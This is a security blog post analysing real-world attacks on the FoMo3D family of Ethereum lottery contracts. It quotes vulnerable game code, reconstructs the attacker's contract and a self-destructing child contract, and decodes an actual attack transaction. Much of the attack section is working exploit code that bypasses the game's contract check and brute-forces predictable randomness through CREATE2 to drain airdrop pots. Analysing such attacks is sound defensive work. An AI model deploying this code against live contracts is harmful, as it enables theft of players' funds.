Exploiting FoMo3D Family: part 1

Zhongqiang Chen
26 min readNov 29, 2019

--

Overview of Dapp FoMo3D

The FoMo3D is a lottery game that is built as a decentralized application (Dapp) in which the last person to buy a key at the end of a round wins the pot. During a round, players can purchase 1 or more keys which resets the timer marking them as the current leader. With each key purchase during the round, the key price increases slightly. Players receive a stream of passive income from the game as keys are bought during the round. When the timer reaches zero, last person to buy a key wins.

In fact, there are many variants in the FoMo3D game family such as FoMo3DLong, FoMoGame, and F3Dultra. Here is some information on these variants in the FoMo3D family.

1. F3DPLUS
Contract: 0x0f90ef4e2526E3D1791862574f9Fb26A0f39eC86
Creator: 0x3F912bC4a711512614e90c826f74Bf5F8b4F85aa
2. F3Dultra
Contract: 0x0b5dA756938E334c97Ce20715e32a4a8FEa12ba9
Creator: 0xc3dDc98Bf7a3f726F59b88E1D917F816570e354e
3. FoMo3D
Contract: 0x5Cd17346bC2B8b3b04251dFEA7763dBC70CCeAf7
Creator: 0x655B6970f139D1dA8747493525f9f6712A0b5a33
4. FoMoGame
Contract: 0x86D179c28cCeb120Cd3f64930Cf1820a88B77D60
Creator: 0x937328B032B7d9A972D5EB8CbDC0D3c9B0EB379D
5. FoMo3Dlong
Contract: 0x51A5271Ec514c3065d9de2D8E95051989f7D53AB
Creator: 0x6b9E7c45622832A12f728cA87e23FA3A6B512fE2
6. FoMo3Dlong
Contract 0xA62142888ABa8370742bE823c1782D17A0389Da1
Creator: 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3

The computation of airdrop is performed by the function airdrop() shown below.

contract FoMo3Dlong is modularLong {
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
}

This function first generates a random number in the range [0, 999], and then compares it with variable “airDropTracker_”, the caller can win the airdrop if the generated random number is less than the value in variable “airDropTracker_”.

The sources of the random number include information on the current block and the address of the player. The information on the current block used by the function is: the block creation time, the block difficulty, the block miner’s address, and the block number.

The function airdrop() is invoked by function core(), which is presented as follows.

/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}

The main inputs to this function are: round ID, player ID, the purchase amount, affiliation of the player, and the player’s team.

This function first checks whether or not the player is new to the current round of the game. That is, the player did not purchase any key yet in the current round.

The function then checks if the game is in its early stage, meaning that the total amount of Ethers accumulated by key purchases is still low (i.e., the total amount of Ethers is less than 100). If it is in the game’s early stage, then the key purchase is limited to be within 1 Ether.

Any purchase needs to be larger than the minimum requirement (i.e., 1000000000 Wei).

If the purchase is at least 1 whole key (i.e., 1 Ether), then the timer is updated and the purchaser becomes the new leader of the current round and its team becomes the leading team.

If the purchase amount is not lower than 0.1 Ethers, the purchaser is also qualified to enter the draw for winning an airdrop. The number of such qualified transactions is recorded by the variable “airDropTracker_”, which is incremented each time a “qualified” transaction occurs.

The airdrop is categorized into 3 different tiers based on the amount of purchase: the airdrop is in tier one if the purchase amount is not lower than 10 Ethers, it is in tier two if the purchase amount is between 1 Ethers and 10 Ethers, and it is in tier three if the purchase amount is in range [0.1, 1) Ethers.

The prize of the airdrop in these 3 tiers is computed differently. More specifically, the prize of the airdrop is 75%, 50%, and 25%, respectively, of the money in the airdrop pool stored in variable “airDropPot_”.

If an airdrop is won, the variable “airDropTracker_” is reset to zero.

Whenever a purchase occurs, the purchase amount is distributed among different pools, which is performed in functions distributeExternal() and distributeInternal(). For instance, in function distributeInternal(), 1% of the purchase is added to the airdrop pool stored in variable “airDropPot_”.

The function core() is the building block for function buyCore(), which is given below.

/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}

This function first checks if the the round of the game is active. If the current round is still not ended, then the purchase is valid for the current round and function core() is invoked.

If the time for the current round is passed, then the function will end the round and distribute pot appropriately.

Because the function buyCore() is private, players can not call it directly. Instead, the contract provides multiple publicly accessible functions for players to play the game.

One such publicly accessible functions is buyXaddr() shown below.

function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}

The inputs to this function are the affiliation code of the player and the player’s team. In this function, the player’s address is used as the player’s ID. If affiliation code is not given (i.e., _affCode is zero or the same as player’s address), then the affiliation code previously used by the player will be used.

Besides to be publicly accessible, this function is also guarded with modifier isHuman() to prevent any contract rather than externally owned account (EOA) from interacting with the game.

/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

The modifier isHuman() simply checks whether the sender has any code associated with its account. If there is any code attached to the account, then the account is not an EOA, instead, it must be a smart contract.

The vulnerabilities of the FoMo3D game family are mainly the following:

  1. The game uses the length of the code associated with an account to differentiate human from smart contract. When a smart contract is created, however, its constructor is first executed and during the execution of its constructor, the code of the smart contract has not been copied and stored into the state of the blockchain, therefore, the length of its code is zero.
  2. The sources of the random number used for airdrop computation are from current block and the player. These sources are also available to the player and they can be accessed by the player via a smart contract before the game is played.

Because of its popularity and its vulnerabilities. Fomo3D game family attracts many attackers. By exploiting these vulnerabilities, attackers successfully steal money from the games.

We will look at some of these exploitations.

Exploiting the game

The exploitation we introduced today is the smart contract deployed in the Ethereum blockchain. The general information about this smart contract is as follows.

attack contract: 0x42Fe2f67a796D283f07C17da19987680D2549102
creator: 0x84ECB387395a1be65E133c75Ff9e5FCC6F756DB3
timestamp: Mar-12-2019 05:19:22 AM +UTC
block: 7352387
total number of transactions: 159
transaction deploying the smart contract:
Transaction Hash: 0xeeeaea2a15b053c4dfc17a2776eca5782e0c72c4fd2d9d09b2c2aa303b4bb629
Status: Success
Block: 7352387 1544818 Block Confirmations
Timestamp: 241 days 11 hrs ago (Mar-12-2019 05:19:22 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: [Contract 0x42fe2f67a796d283f07c17da19987680d2549102 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.004169571 Ether ($0.77)
Gas Limit: 1,389,857
Gas Used by Transaction: 1,389,857 (100%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 3205 34
Input Data: (omitted)

Because the address of the smart contract begins with 0x42fe, we will name this contract as contract_42fe.

The contract_42fe was created on Mar-12–2019 05:19:22 AM +UTC. The creator is 0x84ec. The source code of the smart contract was not published by its creator.

The source code of the smart contract contract_42fe presented below was recovered from its binary code by resorting to reverse engineering techniques.

pragma solidity ^0.5.1;
/*
arguments to constructor:
0000000000000000000000009a512c4520e0f4acf6511a869ec94587876f2ee5
it is the address of controller:
0x9A512c4520E0F4ACF6511a869eC94587876f2EE5
*/

contract contract_42fe {
using SafeMath for *;

address constant gastoken2 = 0x0000000000b3F879cb30FE243b4Dfee438691c04;

// slot 0x00
// function selector: 0x8da5cb5b
address payable public owner;
// slot 0x01
// function selector: 0xf77c4791
address public controller;
// slot 0x02
// function selector: 0x06661abd
uint256 public count;
// slot 0x03
// function selector: 0x3b5d7e97
bool public purchase = true;
// function selector: 0x589210d9
bool public checkPot = true;
// slot 0x04
// function selector: 0x58973576
// 0x14 = 20
uint256 public numOfGasTokens = 20;
// slot 0x05
// function selector: 0x38da689e
mapping (uint256 => uint256) public saltPool;
// slot 0x06
// function selector: 0x05e75335
mapping (uint256 => address) public proxyPool;

constructor (address _controller) public {
owner = msg.sender;
controller = _controller;
}

function () external payable {
}

// selector: 0xbbad99a5
// code entrance: 0x066c
function setNumOfGasTokens(uint256 _num) public {
require ((msg.sender == owner) ||
(msg.sender == controller) ||
(msg.sender == address(this)));

numOfGasTokens = _num;
}

// selector: 0xd0847f1c
// code entrance: 0x0696
function mintGasTokens(uint256 _num) public {
require ((msg.sender == owner) ||
(msg.sender == controller) ||
(msg.sender == address(this)));
// function: mint
// selector: 0xa0712d68
(bool success,) = gastoken2.call(
abi.encodeWithSelector(0xa0712d68, _num)
);
require (success == true);
}

// selector: 0xe4538ae0
// code entrance: 0x06c0
function getAirDropPot(address _target) public view
returns (uint256) {
// function: airDropPot_
// selector: 0xd87574e0
(bool success, bytes memory data) = _target.staticcall(
abi.encodeWithSelector(0xd87574e0)
);
require (success == true);
require (data.length >= 0x20);
uint256 pot = abi.decode(data, (uint256)); return pot;
}

// selector: 0xa8e5e4aa
// code entrance: 0x05f7
function approveERC20(address _from, address _to,
uint256 _val) public returns (uint256) {
require (msg.sender == owner);
// function: approve(address,uint256)
// selector: 0x095ea7b3
(bool success, bytes memory data) = _from.call(
abi.encodeWithSelector(0x095ea7b3, _to, _val)
);
require (success = true);
require (data.length >= 0x20);
return 0;
}

// selector: 0xb1746b86
// code entrance: 0x063a
function releaseGasTokens(uint256 _val) public returns (bool) {
return freeGasTokens(_val);
}

// selector: 0xb41bfe75
// code entrance: 0x0657
function toppleActive() public {
require (msg.sender == owner);
purchase = (!purchase);
}

// selector: 0x8778a110
// code entrance: 0x0408
function getCreate2Address(uint256 _salt, bytes memory _code,
address _addr) public pure returns (address) {
address create2Addr = address(
computeCreate2Address(_salt, _code, _addr)
);
return create2Addr;
}

// selector: 0x8f201dbd
// code entrance: 0x04e2
function toppleCheckPot() public {
require (msg.sender == owner);
checkPot = (!checkPot);
}

// selector: 0x9c4ae2d0
// code entrance: 0x04f7
function deploy(bytes memory _code, uint256 _salt) public
payable returns (address) {
address addr = execute(_code, _salt);
return addr;
}

// selector: 0x9db5dbe4
// code entrance: 0x059f
function transferERC20(address _from, address _to,
uint256 _val) public returns (uint256) {
require (msg.sender == owner);
// function: transfer(address,uint256)
// selector: 0xa9059cbb
(bool success, bytes memory data) = _from.call(
abi.encodeWithSelector(0xa9059cbb, _to, _val)
);
require (success == true);
require (data.length >= 0x20);
uint256 rtn = abi.decode(data, (uint256)); return rtn;
}

// selector: 0xa7631fab
// code entrance: 0x05e2
function gasTokenAddr() public pure returns (address) {
return gastoken2;
}

// selector: 0x5934607f
// code entrance: 0x034d
function getAirDrop(address _target, address _addr2) public view
returns (bool) {
bool rtn = airdrop(_target, _addr2);
return rtn;
}

// selector: 0x7e079ace
// code entrance: 0x0388
function exploit(address _target, bytes memory _code)
public {
require ((msg.sender == owner) ||
(msg.sender == controller) ||
(msg.sender == address(this)));
if (checkPot) {
// function: airDropPot_
// selector: 0xd87574e0
(bool success, bytes memory data) = _target.staticcall(
abi.encodeWithSelector(0xd87574e0)
);
require (success == true);
require (data.length >= 0x20);
uint256 pot = abi.decode(data, (uint256)); // 0x058d15e176280000 = 4e+17
require (pot > (0.4 ether));
}
// 0x016345785d8a0000 = 1e+17
require (address(this).balance >= (0.1 ether));
uint256 salt = 0;
bool found = false;
address proxy = address(0);
while (found == false) {
// 0x0f4240 = 1000000
if (gasleft() < 1000000) {
break;
}
proxy = address(
computeCreate2Address(salt, _code, address(this))
);
if (airdrop(_target, proxy) == true) {
// 0x016345785d8a0000 = 1e+17
(bool success,) = proxy.call.value(0.1 ether)("");
require (success == true); execute(_code, salt);
found = true;
break;
}
salt += 1;
}
if (found) {
saltPool[count] = salt;
proxyPool[count] = proxy;
count += 1;
}
freeGasTokens(numOfGasTokens);
}

// selector: 0x43bf69fe
// code entrance: 0x02bd
function getGasTokenBalance() public view returns (uint256) {
uint256 balance = gasTokenBalance(gastoken2);
return balance;
}

// selector: 0x44a9f953
// code entrance: 0x02f0
function getAirDropTracker(address _target) public view
returns (uint256) {
// function: airDropTracker_
// selector: 0x11a09ae7
(bool success, bytes memory data) = _target.staticcall(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256)); return tracker;
}

// selector: 0x12065fe0
// code entrance: 0x01f0
function getBalance() public view returns (uint256) {
return address(this).balance;
}

// selector: 0x2e1a7d4d
// code entrance: 0x0205
function withdraw(uint256 _val) public {
require (msg.sender == owner);
owner.transfer(_val);
}

// selector: 0x30231ddb
// code entrance: 0x022f
function getAllowance(address _addr1, address _addr2) public
view returns (uint256) {
// function: allowance(address,address)
// selector: 0xdd62ed3e
(bool success, bytes memory data) = _addr1.staticcall(
abi.encodeWithSelector(0xdd62ed3e, address(this),
_addr2)
);
require (success == true);
require (data.length >= 0x20);
uint256 amount = abi.decode(data, (uint256)); return amount;
}

// internal functions

// code entrance: 0x082b
function gasTokenBalance(address _addr) private view
returns (uint256) {
// function: balanceOf
// selector: 0x70a08231
(bool success, bytes memory data) = _addr.staticcall(
abi.encodeWithSelector(0x70a08231, address(this))
);
require (success == true);
require (data.length >= 0x20);
uint256 balance = abi.decode(data, (uint256)); return balance;
}

// code entrance: 0x08ff
function airdrop(address _target, address _addr2) private view
returns (bool) {
uint256 hash = uint256(keccak256(
abi.encodePacked(address(_addr2))
));
// assert (block.timestamp != 0); uint256 hash2 = uint256(keccak256(
abi.encodePacked(block.coinbase)
));
// assert (block.timestamp != 0); uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
(hash2 / block.timestamp).add
(block.gaslimit).add
(hash / block.timestamp).add
(block.number)
)));
// function: airDropTracker_
// selector: 0x11a09ae7
(bool success, bytes memory data) = _target.staticcall(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256));
tracker += 1;
// 0x03e8 = 1000
if ((seed - (1000 * (seed / 1000))) < tracker) {
return true;
}
else {
return false;
}
}

// code entrance: 0x0cc8
function computeCreate2Address(uint256 _salt,
bytes memory _code, address _creatorAddr)
private pure returns (uint256) {
uint256 hash = uint256(keccak256(
abi.encodePacked(byte(0xff), _creatorAddr, _salt,
uint256(keccak256(_code))
)
));
return hash;
}

// code entrance: 0x0de2
function execute(bytes memory _code, uint256 _salt) private
returns (address) {
require ((msg.sender == owner) ||
(msg.sender == controller) ||
(msg.sender == address(this)));
address proxy;
assembly {
proxy := create2(0x00, add(_code, 0x20), mload(_code), _salt)
}
return proxy;
}

// code entrance: 0x0f88
function freeGasTokens(uint256 _num) private returns (bool) {
require ((msg.sender == owner) ||
(msg.sender == controller) ||
(msg.sender == address(this)));
uint256 balance = gasTokenBalance(gastoken2);
if (balance < _num) {
return false;
}
// function: free(uint256)
// selector: 0xd8ccd0f3
(bool success, bytes memory data) = gastoken2.call(
abi.encodeWithSelector(0xd8ccd0f3, _num)
);
require (success == true);
require (data.length >= 0x20);
success = abi.decode(data, (bool)); return success;
}
}

library SafeMath {
// code entrance: 0x11cc
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}

The main entry point to the contract_42fe is the function exploit(), which has the 4-byte selector 0x7e079ace. The inputs to the function are the address of the target to be attacked and the binary code that is used to actually launch the attacks. As the target to be attacked is designed to be a parameter to the function, this smart contract can be used to attack any game in the FoMo3D family as well as any copycat of the game.

Also, because the binary code to launch the attacks is also passed as a parameter to the function, the attacker is able to customize the attacks for a particular target so that the attacks can be more effective.

This function can only be executed by authorized accounts including the owner of the contract, the appointed controller of the contract, and the smart contract itself.

The function mainly executes the following tasks.

  1. If variable “checkPot” is set to be true, the function will fetch the “airDropPot_” from the target to ensure that it is larger than 0.4 Ethers. From the source code of FoMo3D game described above, we know that the airdrop prize is proportional to the amount of airdrop pot stored in “airDropPot_”. If the pot is too small, it is unworthy of launching the attacks as the return on invest is low.
  2. The function computes all possible addresses of sub-contracts that could be generated by this contract, and tries to find a sub-contract that could win the airdrop if the key purchase is performed by it. To find out such a sub-contract, the function essentially enumerates all possible salts to generate addresses by using “create2”. If such a sub-contract is found, then it is used to launch the attack.
  3. In order to reduce the cost of launching attacks, a certain number of gas tokens will be freed every time this function is invoked if gas tokens are available.

From the source code of contract_42fe, we notice that this attack tool has some unique characteristics.

First, it uses gas tokens to mitigate the cost of attacks. Before any attack is launched, the attackers can buy (or mint) some gas tokens through the smart contract for gas token. The address of the smart contract for gas token is hard coded in contract_42fe. A gas token is essentially correspondent to a newly created smart contract. The cost of creating a new smart contract is relatively low when the traffic in Ethereum blockchain is low. When a gas token is released, the smart contract associated with this gas token will be destroyed to get the refund that is a reward for removing smart contract. The refund for destructing smart contract is to encourage the release of precious resources of the blockchain.

Second, the contract_42fe uses “create2” to instantiate new contract. Similar to the “create” opcode, “create2” opcode is also used to create a new smart contract and assign an address to it. Unlike “create” opcode, which creates a new contract at address that is a hash of the creator’s address and the current nonce associated with the creator’s address, however, “create2” opcode creates a contract at a targeted address that can be determined ahead of time by all parties involved.

As a result, “create2” opcode can achieve the following effect: a party can send Ethers to the precomputed contract address even though the smart contract has not deployed yet. Once there’s Ethers in the contract, the party or other parties can deploy the contract and have the funds sent to any other addresses. The “create2” opcode is useful because you don’t need to deploy a new contract on-chain for new users; you or anyone can deploy the contract only once there’s already funds in it.

Third, the contract_42fe provides the code that actually launches the attack only when this function is invoked. In this manner, the attack code is not hard coded in the smart contract. Instead, the attackers can provide different attack code according the the characteristics of the targets to be attacked.

The effect of the “create2” opcode can be verified both in code and in practice.

In the code for the function exploit(), the address of a sub-contract, named “proxy”, is computed by calling function computeCreate2Address(). The resulting address “proxy” is then used to determine whether or not it can win the airdrop, which is performed in function airdrop().

If the “proxy” contract indeed can win the airdrop prize, the function performs the following steps:

  1. It calls the fallback function of the contract represented by the “proxy” address to deposit 0.1 Ethers to this “proxy” contract.
  2. It then invokes the function execute() to actually create the “proxy” contract.

It is clear that contract_42fe sends Ethers to the “proxy” contract even before the proxy is created.

To see the effect of “create2” opcode in practice, let us look at the attack launched in the following transaction.

Transaction Hash: 0xeba3b018938b98ae6d5ba17d3e5f92bc091fa6969b0de85fa0397cee257cf086
Status: Success
Block: 7378972 1567211 Block Confirmations
Timestamp: 245 days 10 hrs ago (Mar-16-2019 08:33:37 AM +UTC)
From: 0x9a512c4520e0f4acf6511a869ec94587876f2ee5
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
TRANSFER 0.1 Ether From 0x42fe2f67a796d283f07c17da19987680d2549102 To 0x42799d7db24656eb4d2ecc499be141f5374b12bb
TRANSFER 0.1 Ether From 0x42799d7db24656eb4d2ecc499be141f5374b12bb To 0xa62142888aba8370742be823c1782d17a0389da1
TRANSFER 0.002 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee
TRANSFER 0.002 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5
TRANSFER 0.001 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d
TRANSFER 0.103984477511727147 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0x42799d7db24656eb4d2ecc499be141f5374b12bb
SELF DESTRUCT Contract 0x42799d7db24656eb4d2ecc499be141f5374b12bb
SELF DESTRUCT Contract 0xc52619b19f807eb313fd7ea39b2e989fc64d5ec6
SELF DESTRUCT Contract 0xd2da27d99d7b4c6745b9ba8eb08ac22937c07173
SELF DESTRUCT Contract 0xebca20eb4378077116c108a8e01b1e2b43105c4f
SELF DESTRUCT Contract 0x304af113651f0b1e7134a4e3d6ade23e7c2bfc01
SELF DESTRUCT Contract 0x33905bd63f11ac8dfd343d49de96d6aa3f6306f2
SELF DESTRUCT Contract 0x83279b0565f8c8c27dab5c16c4a104370abb1638
SELF DESTRUCT Contract 0xedb29a507de51d004da225b7c3c2aee3a45af9b6
SELF DESTRUCT Contract 0x418a022f480b65f1ad079f39782348165c45f5fd
SELF DESTRUCT Contract 0x7824ec197713cac7077cb0987d63c16c6ab3b38a
SELF DESTRUCT Contract 0x6ab486a8c58e2fa33c65939f16b08a30acb1989b
SELF DESTRUCT Contract 0xd82f7d7983f575ca689659e724bf1eb022c999d1
SELF DESTRUCT Contract 0xddd9732c1418a8ad91cff81bf80fc0bce4630fdc
SELF DESTRUCT Contract 0x8881a9ab8125d95f9495b6041c17274beee01ccd
SELF DESTRUCT Contract 0x432410122ec18b7c6e9e55e8c7e2e1a2a5baa8a3
SELF DESTRUCT Contract 0x1dbac2ce0d5a4e5da45cee384c8cdb9e0eadfdb3
Value: 0 Ether ($0.00)
Transaction Fee: 0.0088339017 Ether ($1.62)
Gas Limit: 6,000,000
Gas Used by Transaction: 795,847 (13.26%)
Gas Price: 0.0000000111 Ether (11.1 Gwei)
Nonce Position 22 21
Input Data: 0x7e079ace000000000000000000000000a62142888aba8370742be823c1782d17a0389da10000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000023760806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe000000000000000000000000a62142888aba8370742be823c1782d17a0389da100000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

From the “Input Data” field, we know that this transaction invoked the function that has selector 0x7e079ace, which is the function exploit() in the source code given above.

The function exploit() takes two parameters: the target to be attacked and the binary code that actually launches the attack.

If we parse the content of the “Input Data” field, we get the following.

function selector: 0x7e079ace
_target: 000000000000000000000000a62142888aba8370742be823c1782d17a0389da1
_code offset: 0000000000000000000000000000000000000000000000000000000000000040
_code length: 0000000000000000000000000000000000000000000000000000000000000237
_code data: 60806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe000000000000000000000000a62142888aba8370742be823c1782d17a0389da100000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

The content of “_code data” is in fact a piece of code that represents a smart contract. The source code corresponding to this binary code in the transaction looks like the following.

contract child {
constructor (address _target, address _affCode,
address payable _recipient, uint256 _team)
public payable {
// function: purchase
// selector: 0x3b5d7e97
(bool success, bytes memory data) = _recipient.call(
abi.encodeWithSelector(0x3b5d7e97)
);
require (success == true);
require (data.length >= 0x20);
bool purchase = abi.decode(data, (bool));
if (purchase) {
// function: buyXaddr
// selector: 0x98a0871d
(success,) = _target.call.value(address(this).balance)(
abi.encodeWithSelector(0x98a0871d, _affCode, _team)
);
require (success == true);
}
// function: withdraw
// selector: 0x3ccfd60b
(success,) = _target.call(
abi.encodeWithSelector(0x3ccfd60b)
);
require (success == true); selfdestruct(_recipient);
}
}

This smart contract is quite simple in structure because it only contains constructor and when the execution of its constructor completes, this smart contract will destruct itself and will not exist any more.

The constructor of the contract has 4 parameters: target to be attacked, attacker’s affiliation code, recipient’s address of airdrop prize, and the attacker’s team.

The constructor of the smart contract performs the following tasks.

  1. It interacts with the contract_42fe to fetch the value of variable “purchase” in contract_42fe. The variable “purchase” indicates wether or not key purchases should occur.
  2. If key purchase is needed (by variable “purchase”), this contract will invoke the function buyXaddr() in the target contract.
  3. The contract will claim the airdrop prize by calling the function withdraw() in the target contract.
  4. The contract will destruct itself and transfer all its money to the specified recipient.

Although in most attacks, the attackers use the same piece of binary code, we do find that the attackers change the binary code occasionally.

OK. Let us study the effect of the “create2” opcode. To do so, we resort to the internal transactions created by this transaction.

